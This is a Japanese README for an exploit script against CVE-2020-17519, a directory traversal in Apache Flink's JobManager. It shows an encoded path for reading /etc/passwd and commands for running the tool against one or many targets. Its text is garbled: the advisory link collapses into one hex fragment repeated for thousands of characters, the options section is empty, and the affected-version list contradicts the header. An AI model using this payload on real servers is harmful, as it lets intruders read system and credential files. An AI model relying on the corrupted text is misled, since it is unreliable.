CVE-2020-17519

Apache Flink 1.11.0 および 1.11.1 におけるディレクトリトラバーサル脆弱性のエクスプロイトスクリプト（CVE-2020-17519）

この脆弱性により、攻撃者は /jobmanager/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd のようなパスを介して、Apache Flink の JobManager で任意のファイルを読むことができます。

影響を受けるバージョン

• Apache Flink 1.11.0
• Apache Flink 1.11.1
• Apache Flink 1.11.2

使用方法

python3 CVE-2020-17519.py -u http://target.com

または、テキストファイルから複数のターゲットに対して実行します。

python3 CVE-2020-17519.py -f urls.txt

オプション

例

python3 CVE-2020-17519.py -u http://target.com -p /etc/passwd

python3 CVE-2020-17519.py -f urls.txt -p /etc/passwd -o output.txt

注意事項

• このスクリプトは教育およびセキュリティテスト目的のみで使用してください。
• このツールの使用により生じたいかなる損害についても、作者は責任を負いません。
• 必ず、テスト対象のシステムに対する許可を得てから使用してください。

クレジット

• 脆弱性の詳細: [Apache セキュリティ情報](https://lists.apache.org/thread.html/r5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d7c1b5e2c1d